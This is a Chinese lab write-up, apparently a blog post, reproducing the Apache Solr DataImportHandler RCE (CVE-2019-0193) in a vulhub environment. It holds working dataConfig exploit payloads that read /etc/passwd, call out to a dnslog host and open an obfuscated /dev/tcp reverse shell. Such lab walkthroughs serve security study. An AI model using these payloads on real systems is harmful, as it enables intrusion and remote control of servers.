Apache Solr RCE(CVE-2019-0193)--vulhub

Apache Solr RCE(CVE-2019-0193)

其原理主要基于Solr的DataImportHandler(数据导入处理器)模块,这个模块允许用户通过配置文件(dataConfig)来定义数据的导入过程,在dataConfig中,用户可以定义JavaScript函数来转换或处理数据。如果这些脚本没有得到适当的限制,攻击者可以利用这一点执行任意代码。

Apache Solr版本小于8.2.0

docker搭建需要额外一步

bash 复制代码
docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db  -force

漏洞复现

原始poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/ccc9wy");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

实现不了,更新了,但文件没创建

RCE

先在本机搭一个poc.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

调整一下poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

抓个包查看一下,执行poc时抓包

放到重发器中可以看到命令执行结果

使用dnslog测试

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl n6xis3.dnslog.cn").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行后成功收到结果

反弹shell

bash 复制代码
/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

完整poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

成功获取反弹shell

相关推荐
SelectDB技术团队41 分钟前
永久免费!专为 Apache Doris 打造的可视化数据管理工具 SelectDB Studio V1.1.0 重磅发布!
数据仓库·apache·doris·数据可视化·日志数据
拾贰_C4 小时前
【SpringBoot】MyBatisPlus(MP | 分页查询操作
java·spring boot·后端·spring·maven·apache·intellij-idea
可怜的Tom被玩弄于股掌之中12 小时前
BUUCTF——Nmap
网络·安全·web安全·网络安全
KALC14 小时前
告别“知识孤岛”:RAG赋能网络安全运营
人工智能·网络安全
落寞的魚丶14 小时前
2025 年九江市第二十三届中职学校技能大赛 (网络安全)赛项竞赛样题
网络安全·服务器配置·2025九江职业技能大赛·九江第23届技能大赛·中职网络安全
hnlucky15 小时前
Windows 上安装下载并配置 Apache Maven
java·hadoop·windows·学习·maven·apache
2501_9159090616 小时前
开发日常中的抓包工具经验谈:Charles 抓包工具与其它选项对比
websocket·网络协议·tcp/ip·http·网络安全·https·udp
一口一个橘子16 小时前
[ctfshow web入门] web77
前端·web安全·网络安全
Johny_Zhao16 小时前
Vmware workstation安装部署微软SCCM服务系统
网络·人工智能·python·sql·网络安全·信息安全·微软·云计算·shell·系统运维·sccm
阿斯顿法国红酒快17 小时前
Windows系统安全加固
网络·windows·安全·网络安全·系统安全·ddos